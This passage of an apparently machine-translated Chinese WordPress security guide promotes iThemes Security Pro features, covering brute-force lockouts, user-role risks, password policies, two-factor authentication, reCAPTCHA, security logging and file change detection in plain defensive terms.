    保護您的 WordPress 登錄安全的第一步是限制失敗的登錄嘗試。 默認情況下,WordPress 沒有內置任何內容來限制某人可以進行的失敗登錄嘗試次數。 攻擊者可以進行的登錄嘗試失敗次數沒有限制,他們可以繼續嘗試不同用戶名和密碼的組合,直到找到有效的組合。

    iThemes Security Pro 本地暴力保護功能會跟踪主機或 IP 地址和用戶名進行的無效登錄嘗試。 一旦 IP 或用戶名連續進行過多次無效登錄嘗試,它們將被鎖定,並在設定的時間段內無法再進行任何嘗試。

    要開始使用本地暴力保護功能,請在 iThemes Security Pro 設置頁面的主頁上啟用它。

    Local Brute Force Protection設置允許您設置鎖定閾值。

    WordPress 安全本地暴力設置
    • Max Login Attempts Per Host – IP 被鎖定之前允許的無效登錄嘗試次數。
    • Max Login Attempts Per User – 這是用戶名在被鎖定之前允許的無效登錄嘗試次數。
    • 記住錯誤登錄的分鐘數- 這是無效登錄嘗試應計入 IP 或用戶名以進行鎖定的時長。
    • 自動禁止“管理員”用戶- 啟用後,登錄時使用管理員用戶名的任何人都會收到自動鎖定。

    在配置鎖定設置時,您需要記住幾件事。 您希望向用戶提供移動無效登錄嘗試而不是提供 IP。 假設您的網站受到蠻力攻擊並且攻擊者使用您的用戶名。 目標是鎖定攻擊者的 IP 而不是您的用戶名,因此即使您的網站受到攻擊,您仍然可以登錄並完成工作。

    您也不希望通過將無效登錄嘗試次數設置得太低以及將記住無效嘗試的時間設置得太長而使這些設置過於嚴格。 如果您將主機/IP 的無效登錄嘗試次數降低到 1,並將記住一次錯誤登錄嘗試的分鐘數設置為一個月,則會大大增加無意中鎖定合法用戶的可能性。

    2. 限制每個請求的外部身份驗證嘗試

    除了使用登錄表單之外,還有其他方法可以登錄 WordPress。 使用 XML-RPC,攻擊者可以在單個 HTTP 請求中進行數百次用戶名和密碼嘗試。 蠻力放大方法允許攻擊者在幾個 HTTP 請求中使用 XML-RPC 進行數千次用戶名和密碼嘗試。

    使用 iThemes Security Pro 的WordPress Tweaks設置,您可以阻止每個 XML-RPC 請求的多次身份驗證嘗試。 將每個請求的用戶名和密碼嘗試次數限制為一次,將大大有助於保護您的 WordPress 登錄。

    3. 網絡暴力保護

    限制登錄嘗試完全是為了本地暴力保護。 本地蠻力保護僅查看訪問您站點的嘗試,並根據您的安全設置中指定的鎖定規則禁止用戶。

    Network Brute Force保護更進一步。 該網絡是 iThemes 安全社區,擁有超過一百萬個強大的網站。 如果在 iThemes 安全社區中發現某個 IP 試圖闖入網站,則該 IP 將被添加到 Network Bruce Force 禁止列表中。

    一旦某個 IP 出現在 Network Brute Force 禁止列表中,該 IP 將在網絡中的所有網站上被阻止。 因此,如果 IP 攻擊我的網站並被禁止,它將報告給 iThemes Security Brute Force Network。 我的報告可以幫助在整個網絡上禁止IP。 我喜歡我可以通過啟用 iThemes 安全網絡保護來幫助保護其他人的 WordPress 登錄。

    要開始使用Network Force Protection ,請在安全設置的主頁上啟用它。

    然後輸入您的電子郵件地址,選擇是否要接收電子郵件更新,然後單擊保存按鈕。

    WordPress 安全網絡暴力設置

    4. 限制設備訪問 WP 儀表板

    保護您的 WordPress 登錄的最後一步是將您的 WordPress 儀表板的訪問權限限制為一組設備。 iThemes Security Pro 可信設備功能可識別您和其他用戶用於登錄您的 WordPress 站點的設備。 當用戶登錄到無法識別的設備時,受信任的設備可以限制其管理員級別的功能。 這意味著黑客能夠繞過您的其他登錄安全方法——不太可能——他們無法對您的網站進行任何惡意更改。

    要開始使用受信任的設備,請在安全設置的主頁上啟用它們,然後單擊配置設置按鈕。

    在 Trusted Devices 設置中,決定您要使用該功能的用戶,然後啟用Restrict CapabilitiesSession Hijacking Protection功能。

    WordPress 安全可信設備設置

    啟用新的受信任設備設置後,用戶將在 WordPress 管理欄中收到有關待處理的無法識別設備的通知。 如果您當前的設備尚未添加到受信任設備列表中,請單擊“確認此設備”鏈接以發送授權電子郵件

    WordPress 安全可信設備登錄警報

    單擊無法識別的登錄電子郵件中的確認設備按鈕,將您當前的設備添加到受信任設備列表。

    包起來

    WordPress 登錄頁面的可訪問性使其成為任何 WordPress 站點中受攻擊最多且可能易受攻擊的部分。 但是,使用本節中的步驟將使您的 WordPress 登錄幾乎無法滲透。

    第 7 部分:保護您的 WordPress 用戶

    每當我們談論用戶安全時,我們經常會聽到這樣的問題,每個 WordPress 用戶是否應該有相同的安全要求,多少安全是太多安全?

    別擔心。 我們回答所有這些問題。 但首先,讓我們談談不同類型的 WordPress 用戶。

    有哪些不同類型的 WordPress 用戶?

    有 5 個不同的默認 WordPress 用戶。

    1. 行政人員
    2. 編輯
    3. 作者
    4. 貢獻者
    5. 訂戶
    注意:WordPress 多站點有第六個用戶。 超級管理員擁有對站點網絡管理功能和所有其他功能的所有訪問權限。 他們可以在網絡上創建新站點和刪除站點,以及管理網絡的用戶、插件和主題。

    每個用戶都有不同的能力。 這些功能決定了他們訪問儀表板後可以執行的操作。 閱讀有關 WordPress 用戶角色和權限的更多信息。

    不同被黑 WordPress 用戶的潛在損害

    在我們了解如何保護 WordPress 用戶的安全之前,我們必須首先了解每種類型的受感染用戶的威脅級別。 攻擊者可以造成的損害類型和級別因他們攻擊的用戶的角色和能力而異。

    管理員 –威脅級別高

    管理員用戶可以隨心所欲。

    • 創建、刪除和修改用戶。
    • 安裝、刪除和編輯插件和主題。
    • 創建、刪除和編輯所有帖子和頁面。
    • 發布和取消發布帖子和頁面。
    • 添加和刪除媒體。

    如果黑客可以控制您網站的管理員之一,他們就可以持有您的網站以索要贖金。 正如我們之前提到的,勒索軟件是指黑客接管您的網站並且不會將其發布給您,除非您向他們支付高額費用。

    編輯器 –威脅級別高

    編輯器管理網站的所有內容。 這些用戶仍然有相當多的權力。

    • 創建、刪除和編輯所有帖子和頁面。
    • 發布和取消發布所有帖子和頁面。
    • 上傳媒體文件。
    • 管理所有鏈接。
    • 管理評論。
    • 管理類別。

    如果攻擊者控制了編輯器的帳戶,他們就可以修改您的一個頁面以用於網絡釣魚攻擊。 網絡釣魚是一種用於竊取用戶數據的攻擊,包括登錄憑據和信用卡號。

    網絡釣魚是讓您的網站被 Google 列入黑名單的最可靠方法之一。 每天,有 10,000 個網站因各種原因進入 Google 的屏蔽名單。

    注意:iThemes 安全站點掃描每天都會檢查您網站的 Google 阻止列表狀態。

    作者 –威脅級別中等

    作者旨在創建和管理自己的內容。

    • 創建、刪除和編輯自己的帖子和頁面。
    • 發布和取消發布他們自己的帖子。
    • 上傳媒體文件

    如果攻擊者要獲得作者帳戶的控制權,他們可以創建頁面和帖子,將您的站點訪問者發送到惡意網站。

    貢獻者和訂閱者 -威脅級別低

    貢獻者是作者用戶角色的精簡版。 他們沒有出版權。

    • 創建和編輯自己的帖子。
    • 刪除自己未發表的帖子。

    訂閱者可以閱讀其他用戶發布的內容。

    雖然具有貢獻者或訂閱者角色的黑客無法進行任何惡意更改,但他們可以竊取存儲在用戶帳戶或個人資料頁面中的任何敏感信息。

    保護 WordPress 用戶的 6 個技巧

    好的,這是黑客可以對我們的網站做的一些非常討厭的事情。 好消息是,只要您稍加努力,就可以防止對您的 WordPress 用戶帳戶的大多數攻擊。

    讓我們來看看您可以採取哪些措施來保護 WordPress 用戶的安全。 事實是,這些 WordPress 安全方法將有助於保護各種類型的 WordPress 用戶。 但是,在我們介紹每種方法時,我們會告知您應該要求哪些用戶使用該方法。

    1. 只為人們提供他們需要的能力

    保護網站的最簡單方法是只為用戶提供他們需要的功能,而不是其他任何功能。 如果某人在您的網站上唯一要做的就是創建和編輯他們自己的博客文章,那麼他們不需要能夠編輯其他人的文章。

    2. 使用強密碼保護 WordPress 用戶

    在 Splash Data 編制的列表中,所有數據轉儲中包含的最常見密碼是 123456。數據轉儲是一個被黑的數據庫,其中填充了在互聯網上某處轉儲的用戶密碼。 如果 123456 是數據轉儲中最常見的密碼,您能想像您網站上有多少人使用弱密碼嗎?

    使用弱密碼就像試圖用膠帶鎖住你的前門。 黑客用蠻力通過弱密碼進入網站從來沒有花很長時間。 現在黑客在攻擊中利用計算機顯卡,破解密碼所需的時間從未如此短。

    例如,讓我們看一下由高性能密碼破解公司 Terahash 創建的圖表。 他們的圖表顯示了使用 448x RTX 2080 的哈希堆棧集群破解密碼所需的時間。

    WordPress 安全破解密碼時間圖表

    默認情況下,WordPress 使用 MD5 來散列存儲在 WP 數據庫中的用戶密碼。 因此,根據此圖表,Terahash 幾乎可以立即破解 8 個字符的密碼。 這不僅令人印象深刻,而且非常可怕。 好消息是我們可以通過要求我們的高級用戶使用強密碼來保護我們的 WordPress 登錄。

    iThemes Security Pro 密碼要求功能允許您強制特定用戶使用強密碼。 在安全設置主頁上啟用密碼要求功能,然後選擇您希望要求使用強密碼的用戶。

    WordPress 安全強密碼設置

    3. 拒絕洩露密碼

    根據 Verizon 數據洩露調查報告,超過 70% 的員工在工作中重複使用密碼。 但該報告中最重要的統計數據是,81% 的與黑客相關的違規行為利用了被盜密碼或弱密碼。

    黑客使用一種稱為字典攻擊的蠻力攻擊形式。 字典攻擊是一種使用出現在數據庫轉儲中的常用密碼闖入 WordPress 網站的方法。 “系列#1? 託管在 MEGA 上的數據洩露包括 1,160,253,228 種獨特的電子郵件地址和密碼組合。 那是一個 b 的十億。 這種分數確實有助於字典攻擊縮小最常用的 WordPress 密碼的範圍。

    必須防止具有作者級別及以上功能的用戶使用洩露的密碼來保護您的 WordPress 登錄。 您還可以考慮不讓您的低級別用戶使用已洩露的密碼。

    完全可以理解並鼓勵盡可能輕鬆地創建新客戶帳戶。 但是,您的客戶可能不知道他們使用的密碼是在數據轉儲中找到的。 通過提醒客戶他們使用的密碼已被洩露這一事實,您將為您的客戶提供出色的服務。 如果他們在任何地方都使用該密碼,您就可以避免他們以後遇到一些重大的麻煩。

    iThemes Security Pro Refuse Compromised Passwords功能強制用戶使用沒有出現在 Have I Being Pwned 跟踪的任何密碼洩露事件中的密碼。 啟用安全設置主頁上的密碼要求功能,然後選擇要防止使用洩露密碼的用戶。

    WordPress 安全拒絕洩露密碼設置

    4. 使用雙因素身份驗證保護 WordPress 用戶

    使用雙因素身份驗證是保護 WordPress 登錄安全的最佳方法。 雙因素身份驗證是通過需要兩種不同的驗證方法來驗證個人身份的過程。 谷歌在其博客上分享說,使用雙因素身份驗證可以阻止 100% 的自動機器人攻擊。 我真的很喜歡這些賠率。

    在您的網站上實施 2fa 時, iThemes Security Pro 兩因素身份驗證功能提供了極大的靈活性。 您可以為所有或部分用戶啟用雙重驗證,並且可以強制高級用戶在每次登錄時使用 2fa。

    WordPress 安全 2fa 選項

    為方便起見,iThemes Security Pro 提供 2 種不同的雙因素身份驗證方法。

    1. 移動應用程序– 移動應用程序方法是 iThemes Security Pro 提供的最安全的兩因素身份驗證方法。 此方法要求您使用像 Authy 這樣的免費雙因素移動應用程序。
    2. 電子郵件- 雙因素的電子郵件方法會將時間敏感代碼發送到您用戶的電子郵件地址。
    3. 備用代碼– 一組一次性使用代碼,可用於在主要兩因素方法丟失時登錄。

    5. 保護 WordPress 用戶免受會話劫持

    每次您登錄網站時,WordPress 都會生成一個會話 cookie。 假設您有一個已被開發人員放棄且不再發布安全更新的瀏覽器擴展。 不幸的是,被忽視的瀏覽器擴展有一個漏洞。 該漏洞允許不法分子劫持您的瀏覽器 cookie,包括前面提到的 WordPress 會話 cookie。 這種類型的黑客被稱為會話劫持。 因此,攻擊者可以利用擴展漏洞來捎帶您的登錄名並開始對您的 WordPress 用戶進行惡意更改。

    您應該為管理員和編輯設置會話劫持保護。

    iThemes Security Pro 可信設備功能使會話劫持成為過去。 如果用戶的設備在會話期間發生變化,iThemes Security 將自動將用戶註銷,以防止對用戶帳戶進行任何未經授權的活動,例如更改用戶的電子郵件地址或上傳惡意插件。

    6. 創建通用支持用戶

    每當您創建新用戶時,您都在添加黑客可以利用的另一個入口點。 但有時您可能需要為您的網站提供一些外部幫助,例如當您尋求支持或僱用獨立承包商後。 您需要一種安全可靠的方式來為您的網站添加臨時管理員訪問權限。

    例如,假設您在網站上安裝的插件之一遇到了一些問題。 聯繫支持人員後,他們請求管理員訪問您的網站,以便他們可以仔細查看。 這似乎是一個完全合理的請求,您決定授予他們訪問權限。

    那麼我們如何授予某人臨時管理員訪問我們的 WordPress 網站的權限?

    授予對您網站的外部訪問權限:兩種選擇

    通常,您有兩種選擇來提供對您網站的外部訪問...... 兩者都不是很好

    1. 共享您的用戶憑據

    您的第一個也是最糟糕的選擇是共享您的 WordPress 管理員用戶的用戶名和密碼。

    為什麼共享您的管理員憑據很糟糕
    • 降低安全性– 如果您共享用戶的憑據,則必須禁用雙因素身份驗證以允許使用您的憑據的人登錄。 谷歌在其博客上分享說,使用兩步驗證或兩步驗證可以阻止 100% 的自動機器人攻擊。 禁用雙因素身份驗證,即使是很短的時間,也會大大降低您網站的安全性。
    • 不方便– 共享您的憑據需要您更改密碼。 如果您忘記更改密碼,則有一個或多個人可以隨時訪問您的網站。
    2. 為支持技術創建一個新用戶

    雖然為支持專家創建一個全新的管理員用戶比共享您的管理員憑據更好,但它仍然不是很好。

    為什麼為支持技術創建用戶是可怕的

    • 增加的漏洞——創建一個新的管理員用戶會增加另一個可以被利用的入口點。 如果您沒有適當的密碼策略,支持技術人員可能會選擇弱密碼,使您的 WordPress 登錄更容易受到攻擊。
    • 不方便– 在需要外部幫助的任何時候完成設置新用戶的過程非常耗時。 您必須創建新用戶,然後記住在用戶不再需要訪問您的網站時將其刪除。 從您的網站中刪除任何未使用的用戶是 WordPress 安全最佳實踐。

    什麼是權限提升?

    iThemes Security Pro 權限提升功能允許您臨時授予用戶額外的權限

    權限提升使創建通用用戶變得容易且安全,您可以將其提供給需要臨時訪問您網站的任何外部開發人員或支持技術人員。

    使用權限提升,您可以創建一個新用戶並將其命名為 Support 並為其授予訂閱者用戶角色。 下次您需要提供對網站的臨時訪問權限時,您可以將支持用戶從訂閱者提升為管理員。 我們將在後面的文章中介紹如何執行此操作,但首先,讓我們談談為什麼權限提升是授予對您網站的訪問權限的更好方法。

    為什麼提權更好
    • 簡單– 您無需在每次需要授予網站訪問權限時都創建新用戶。
    • 自動– 權限提升僅持續 24 小時。 24 小時後,用戶將自動失去所有附加權限。 您不必記得刪除用戶或更改任何密碼。
    • 不犧牲安全性– 您仍然可以要求此通用支持用戶使用雙因素電子郵件方法登錄,這意味著您擁有與其他管理員用戶相同的安全級別。 由於實際用戶角色是訂閱者,因此您不會將其留在您的網站上的任何實際風險。
    如何在 iThemes Security Pro 中使用權限提升

    首先,在安全設置的主頁上啟用權限提升

    WordPress 安全權限提升設置

    您可以創建一個新用戶並將其命名為 Support 並為其授予訂閱者用戶角色。 下次您需要臨時訪問您的網站時,請導航到您的支持用戶的個人資料頁面。

    WordPress 安全權限升級更新電子郵件地址

    更新電子郵件地址以允許外部支持人員請求新密碼。 然後向下滾動,直到看到臨時權限提升設置。 單擊設置臨時角色切換按鈕,然後選擇管理員。 用戶現在將在接下來的 24 小時內擁有管理員訪問權限。

    WordPress 安全權限提升集角色

    如果他們不需要完整的 24 小時,您可以從用戶配置文件頁面撤銷權限提升。 如果您需要超過 24 小時,您可以在天數字段中設置您需要的確切天

    WordPress 安全權限提升用戶配置文件設置

    包起來

    WordPress 的流行使其成為全世界黑客的目標。 正如我們所討論的,攻擊者甚至可以通過入侵最低級別的 WordPress 用戶來造成損害。

    好消息是,雖然沒有辦法阻止對您的 WordPress 用戶的攻擊,但只要我們付出一點努力,我們就可以防止攻擊得逞。

    第 8 部分:保護您的網站免受惡意機器人的攻擊

    在 WordPress 安全指南的這一部分中,您將了解什麼是機器人以及如何阻止惡意機器人在您的網站上造成破壞。

    什麼是機器人?

    機器人是一種經過編程以執行特定任務列表的軟件。 開發人員創建一組指令,機器人將自動遵循這些指令,而無需開發人員告訴他們開始。 機器人將比我們更快地執行重複和平凡的任務。

    各種機器人不斷地抓取您的網站。 其中一些機器人很好,可以為您提供有價值的服務。 其他機器人有更邪惡的動機。 讓我們花點時間談談什麼是機器人以及機器人的不同類型。

    WordPress 安全性好機器人和壞機器人

    好機器人

    監控機器人- iThemes Sync Pro 正常運行時間監控使用機器人來監控您網站的正常運行時間。 機器人每 5 分鐘檢查一次您的網站,以驗證它是否仍然在線。 如果您的網站出現故障,機器人會向您發送警報,以便您可以讓您的網站重新上線。

    審核機器人- iThemes Sync Pro Site Audit 使用 Google Lighthouse 機器人來檢查您的網頁的質量。 審計機器人的另一個很好的例子是一個損壞的鏈接器檢查器,它會爬行你的網站,尋找將你發送到不存在位置的鏈接。

    饋線機器人——饋線機器人的一個很好的例子是你的播客播放器。 您的播客播放器使用機器人來監控您訂閱的播客的 RSS 提要,並在您最喜愛的播客發布新劇集時提醒您。

    搜索引擎機器人——谷歌網絡爬蟲是搜索引擎機器人的一個例子。 這種類型的機器人將抓取您的網站以尋找新的或修改過的頁面並創建您網站的索引。 一旦 Google 或其他搜索引擎獲得了您網站的索引,他們就可以與使用其搜索引擎的人共享您的頁面。

    安全機器人 - iThemes Security Pro 站點掃描使用機器人將您安裝的插件和主題列表與我們的漏洞數據庫進行比較。 如果您安裝了帶有已知漏洞的插件或主題,機器人將自動應用補丁(如果有)。

    壞機器人

    內容抓取機器人- 這些機器人被編程為在未經您許可的情況下下載您網站的內容。 機器人可以復制內容以在攻擊者的網站上使用,以提高他們的 SEO 並竊取您的網站流量。

    Spambots – Spambots 很煩人。 他們會用在家工作時成為百萬富翁的承諾來掩蓋您的評論,希望將您的訪問者發送到惡意網站。

    蠻力機器人- 蠻力機器人在互聯網上搜索 WordPress 登錄名進行攻擊。 一旦這些機器人登陸登錄頁面,它們就會嘗試以最簡單的方式訪問站點:通過嘗試一遍又一遍地猜測用戶名和密碼,直到成功為止。

    如何在不阻止好機器人的情況下阻止壞機器人:reCAPTCHA V3

    Google reCAPTCHA 有助於防止惡意機器人在您的網站上從事濫用活動,例如嘗試使用已洩露的密碼闖入您的網站、發布垃圾郵件,甚至抓取您的內容。

    但是,合法用戶將能夠登錄、購買、查看頁面或創建帳戶。 reCAPTCHA 使用先進的風險分析技術來區分人類和機器人。

    iThemes Security Pro 中的 Google reCAPTCHA 功能可保護您的網站免受惡意機器人的侵害。 這些機器人試圖使用洩露的密碼、發布垃圾郵件甚至抓取您的內容來闖入您的網站。 reCAPTCHA 使用先進的風險分析技術來區分人類和機器人。

    reCAPTCHA 版本 3 的優點在於它可以幫助您檢測網站上的濫用機器人流量,而無需任何用戶交互。 reCAPTCHA v3 不會顯示 CAPTCHA 質詢,而是監控您網站上發出的不同請求,並為每個請求返回一個分數。 分數範圍從 0.01 到 1。reCAPTCHA 返回的分數越高,表示請求是人類發出的越有把握。 reCAPTCHA 返回的分數越低,機器人發出請求的可信度就越高。

    iThemes Security Pro 允許您使用 reCAPTCHA 分數設置阻止閾值。 Google 建議使用 0.5 作為默認值。 請記住,如果將閾值設置得太高,可能會無意中鎖定合法用戶。

    WordPress 安全 ReCaptcha 禁止閾值

    您可以在 WordPress 用戶註冊、重置密碼、登錄和評論中啟用 reCAPTCHA。 iThemes Security Pro 允許您在所有頁面上運行 Google reCAPTCHA 腳本,以提高其機器人與人工評分的準確性。

    WordPress 安全 ReCaptcha 包括腳本選項

    包起來

    有好機器人和壞機器人。 reCAPTCHA 從您的網站阻止壞機器人,而不會妨礙提供價值的好機器人。

    第 9 部分:WordPress 安全日誌

    日誌記錄是 WordPress 安全策略的重要組成部分。 日誌記錄和監控不足會導致檢測安全漏洞的延遲。 大多數違規研究表明,檢測違規的時間超過 200 天! 這段時間允許攻擊者破壞其他系統、修改、竊取或破壞更多數據。 正是由於這些原因,Insufficient Logging 登上了 OWASP 前 10 名的 Web 應用程序安全風險。

    WordPress 安全日誌​​在您的整體安全策略中有幾個好處。

    1. 識別並阻止惡意行為。
    2. 發現可以提醒您違規的活動。
    3. 評估造成了多少損害。
    4. 協助修復被黑網站。

    如果您的網站確實遭到黑客入侵,您將需要最好的信息來幫助進行快速調查和恢復。

    什麼是 WordPress 安全日誌​​?

    iThemes Security Pro 中的 WordPress 安全日誌​​會跟踪您網站上發生的重要安全事件。 這些事件對於監控以指示是否或何時發生安全漏洞很重要。

    您網站的安全日誌是任何安全策略的重要組成部分。 這些記錄中的信息可用於鎖定不良行為者,突出站點上不需要的更改,並幫助識別和修補成功攻擊的入口點。

    iThemes Security 跟踪和記錄的安全事件

    以下是 iThemes Security Pro 插件跟踪的 WordPress 安全事件。

    1. WordPress 蠻力攻擊

    蠻力攻擊是指用於發現用戶名和密碼以入侵網站的反複試驗方法。 WordPress 不會跟踪任何用戶登錄活動,因此 WordPress 沒有內置任何內容來保護您免受暴力攻擊。 您有責任監控您的登錄安全以保護您的 WordPress 網站。

    WordPress 安全日誌​​無效的登錄嘗試

    幸運的是,蠻力攻擊不是很複雜,而且很容易在您的日誌中識別。 您需要記錄嘗試登錄的用戶名和 IP 以及登錄是否成功。 如果您看到單個用戶名或 IP 連續嘗試登錄失敗,則您很可能受到了蠻力攻擊。

    一旦您知道您的網站受到攻擊,您就可以阻止它! 重要的是要記住,沒有辦法防止在您的網站上發生攻擊。 但是,通過監控無效的登錄嘗試,您可以防止這些攻擊成功。

    iThemes Security Pro 非常擅長鎖定壞人。 但是,如果壞人在暴力攻擊中使用用戶名 Bob,而 Bob 是該站點的實際用戶,那麼不幸的是,Bob 將與攻擊者一起被鎖定。

    儘管阻止壞人闖入網站感覺很棒,但當安全性影響真實用戶體驗時,我們不喜歡它。 我們創建了 Magic Links 以允許合法用戶繞過用戶名鎖定,而蠻力攻擊者保持鎖定狀態。

    2. 惡意軟件掃描

    您不僅應該運行惡意軟件掃描,還應該在 WordPress 安全日誌​​中記錄每次惡意軟件掃描的結果。 一些安全日誌只會記錄發現惡意軟件的掃描結果,但這還不夠。 盡快收到您的網站遭到破壞的警報至關重要。 您了解黑客攻擊所需的時間越長,它造成的損害就越大。

    WordPress 安全日誌​​惡意軟件掃描

    雖然看到積極的安全方法獲得回報的歷史感覺很好,但這只是一個獎勵,而不是記錄每個惡意軟件掃描的原因。

    如果您沒有記錄計劃的掃描,您將無法知道是否有任何掃描失敗。 不記錄失敗的掃描可能會導致您認為每天都在檢查您的網站是否存在惡意軟件,但實際上,掃描未能完成。

    閱讀站點掃描功能聚焦帖子,了解 iThemes Security Pro 如何保護您免受 WordPress 黑客攻擊的首要原因。

    3. 用戶活動

    在成功攻擊後,在 WordPress 安全日誌​​中記錄用戶活動可能是您的救星。

    如果您監控正確的用戶活動,它可以引導您完成黑客攻擊的時間線,並顯示黑客更改的所有內容,從添加新用戶到在您的網站上添加不需要的醫藥廣告。

    iThemes Security Pro 監控 5 種類型的用戶活動:

    1. 登入/登出
    WordPress 安全用戶登錄和退出

    記錄的第一種用戶活動是用戶何時登錄和退出您的網站以及從何處登錄。 監視用戶登錄的時間和位置可以幫助您發現受到威脅的用戶。 該用戶是在不尋常的時間登錄還是從新的地方登錄? 如果是這樣,您可能想與他們一起開始調查。

    2. 用戶創建/註冊
    WordPress 安全用戶記錄新用戶

    您應該記錄的下一個活動是用戶創建,尤其是管理員用戶的創建。 如果黑客可以危害合法用戶,他們可能會在那裡創建自己的管理員用戶以試圖隱蔽。 您很容易注意到您的帳戶有一些奇怪的東西,但識別其他用戶的惡意活動要困難得多。

    監控用戶註冊也很重要。 某些漏洞允許黑客將默認的新用戶角色從訂閱者更改為管理員。

    如果您將用戶日誌設置為僅監控管理員用戶的活動,則安全日誌中只會記錄新的管理員用戶註冊。 因此,如果您在安全日誌中看到新註冊的用戶,則說明出了點問題。

    3. 添加和刪除插件
    WordPress 安全用戶日誌插件更改

    記錄誰添加和刪除插件至關重要。 一旦您的網站被黑客入侵,攻擊者很容易添加他們的自定義插件以將惡意代碼注入網站。

    即使黑客無權訪問您的服務器或數據庫,他們仍然可以從您的 WordPress 儀表闆對其進行更改。 使用插件,他們可以將重定向添加到您的網站以在下一次垃圾郵件廣告活動中使用,或將惡意軟件注入您的數據庫。 在他們的惡意代碼被執行後,他們可以刪除插件以移除他們犯罪的證據。 幸運的是,我們不會錯過任何一個,因為它們都記錄在我們的 WordPress 安全日誌​​中。

    4. 切換主題
    WordPress 安全用戶日誌主題更改

    iThemes Security Pro User Logging 監控的另一個用戶活動是當有人切換網站的主題時。 如果您發現您的主題意外更改,您可以查看您的 WordPress 安全日誌​​以找出誰進行了更改。

    5. 帖子和頁面的變化

    最後,您希望監控對帖子和頁面的任何更改。 是否添加了任何鏈接以將您的流量發送到其他網站? 監控帖子和頁面可以幫助您找到違規後添加到您網站的任何令人尷尬的頁面或惡意鏈接。

    要找出修改了哪個帖子,請單擊查看詳細信息鏈接以查找帖子 ID。

    WordPress 安全用戶日誌記錄更改

    查看用戶日誌功能聚焦帖子,了解有關監控用戶活動如何幫助您從黑客攻擊中恢復過來的更多信息。

    包起來

    日誌記錄不足是 OWASP 前 10 名 Web 應用程序安全風險之一。 監控正確的行為將幫助您識別和阻止攻擊、檢測漏洞以及訪問和修復成功攻擊後對您的網站造成的損害。

    第 10 部分:當 WordPress 安全災難發生時

    即使您遵循 WordPress 安全最佳實踐,您的網站仍有可能遭到入侵。 妥協意味著黑客破壞了您的網站並感染了惡意軟件。

    什麼是安全漏洞?

    安全漏洞是指網絡犯罪分子能夠未經授權訪問您的網站或服務器。 安全漏洞可能以多種不同的方式發生,因為黑客會利用一些最常見的 WordPress 安全問題。 從運行過時版本的插件和主題到更複雜的 SQL 注入,即使是最警惕的網站所有者也可能發生安全漏洞。

    檢測安全漏洞的時間:清理受感染網站的關鍵因素

    您是否知道發現網站違規所需的平均時間是 200 天? 不幸的是,您發現漏洞的時間越長,黑客對您的網站、客戶和您造成的損害就越大。 一個惡意軟件可以在 200 天內造成驚人的破壞。 這就是為什麼減少發現安全漏洞所需的時間如此重要的原因。

    為什麼? 在遭受 200 天的損壞後,您清理網站所需的清理和停機時間也是驚人的。 調查惡意軟件觸及的所有內容以及哪些客戶的數據被盜的時間只會增加,而違規行為仍未被發現。 更不用說您必須花時間通知客戶他們需要取消信用卡,因為黑客在他們訪問您的網站時記錄了他們的所有按鍵操作。

    被黑客攻擊的代價是巨大的。 您必須花錢請人來調查違規行為並清理您的網站。 黑客修復專家將不得不在他們工作時關閉您的網站,而當您的網站關閉時,人們將無法進行新的購買。 在失去客戶的信任後,您很可能會失去他們將來會給您的任何購買。

    黑客的成本是為什麼盡快注意到違規行為至關重要的原因。 您發現漏洞的速度越快,您就可以越快地阻止任何進一步的損害,並且您可以越快地使您的網站和業務重新上線。

    惡意軟件掃描程序就夠了嗎?

    惡意軟件掃描程序提供了一種掃描 WordPress 網站以查找已知惡意文件和腳本的方法。 但是惡意軟件掃描程序足以發現安全漏洞嗎?

    一句話,沒有。 不要認為您可以僅僅依靠惡意軟件掃描程序來檢查您的網站是否受到感染。 沒有惡意軟件掃描程序可以識別存在的每一個惡意軟件。 如果您遇到聲稱其 100% 準確的惡意軟件掃描程序,您應該運行,因為做出此類聲明的掃描通常是最不准確的。

    簽名與行為惡意軟件檢測

    大多數惡意軟件掃描和防病毒軟件使用惡意軟件簽名來檢測惡意軟件。 更高級的惡意軟件掃描將結合使用簽名檢測和行為分析。

    WordPress 安全惡意軟件與行為
    惡意軟件簽名

    惡意軟件簽名是用於識別已知惡意軟件的一系列字節。 一些惡意軟件掃描程序由一個數據庫提供支持,該數據庫充滿了數百萬已知病毒的惡意軟件簽名。

    基於簽名的惡意軟件掃描快速、簡單,並且可以 100% 檢測已知和易於理解的惡意軟件。 所有這些都很棒,可以捕獲低級黑客添加的惡意軟件。

    但是,熟練的黑客都知道惡意軟件掃描程序會檢查已知惡意軟件的簽名。 這些黑客有能力混淆惡意軟件簽名,使其不被普通掃描儀檢測到。

    新惡意軟件以惡意軟件掃描程序無法使用所有最新簽名更新其數據庫的速度發布。 因此,基於簽名的掃描程序將無法區分新的惡意軟件和插件的 readme.txt 文件之間的區別。

    行為分析

    行為分析檢查軟件的操作以確定它是否是惡意的。 有大量不同類型的行為可被視為可疑或惡意行為。 例如,iThemes Security Pro 站點掃描利用 Google 安全瀏覽 API 來幫助確保網站安全。 Google 安全瀏覽會檢查某個軟件是否正在將流量重定向到已知的惡意站點。

    同樣,沒有萬無一失的惡意軟件檢測方法。 但是,行為檢查和簽名檢查的結合將顯著增加您收到安全漏洞證據警報的機會。

    所有惡意軟件都有哪些行為?

    我們知道盡快檢測安全漏洞是多麼重要,僅僅依靠惡意軟件檢測是不夠的。 所以我們想知道 iThemes Security Pro 如何減少人們檢測網站安全漏洞所需的時間?

    雖然惡意軟件在您的網站上造成的損害類型千差萬別,但它的作用可以歸結為以下三件事之一或兩者的組合。

    1. 添加文件– 間諜軟件形式的惡意軟件可能會添加惡意文件,記錄客戶輸入信用卡信息時的按鍵操作。
    2. 刪除文件- 某些惡意軟件會刪除合法文件並將其替換為同名惡意文件。
    3. 修改文件- 惡意軟件將嘗試通過將其隱藏在它修改的現有文件中來隱藏其惡意代碼。

    收到有關網站意外更改的警報以便檢查它們是否有安全漏洞的跡像不是很好嗎?

    如何減少檢測安全漏洞所需的時間

    快速發現安全漏洞的關鍵是監控您網站上的文件更改。

    iThemes Security Pro 中的文件更改檢測功能將掃描您網站的文件,並在您的網站發生更改時提醒您。

    您會在日誌中看到新的文件更改活動有幾個合理的原因,但是如果所做的更改是意外的,您應該花時間確保更改不是惡意的。 例如,如果您在更新插件的同一日期和時間看到對插件所做的更改,則沒有理由進行調查。

    如何在 iThemes Security Pro 中啟用文件更改檢測

    要開始監視文件更改,請在安全設置的主頁上啟用文件更改檢測

    WordPress 安全文件更改檢測設置

    一旦文件更改檢測已啟用,安全的iThemes Pro將開始掃描所有網站的文件的。 分塊掃描文件將有助於減少監視文件更改所需的資源。

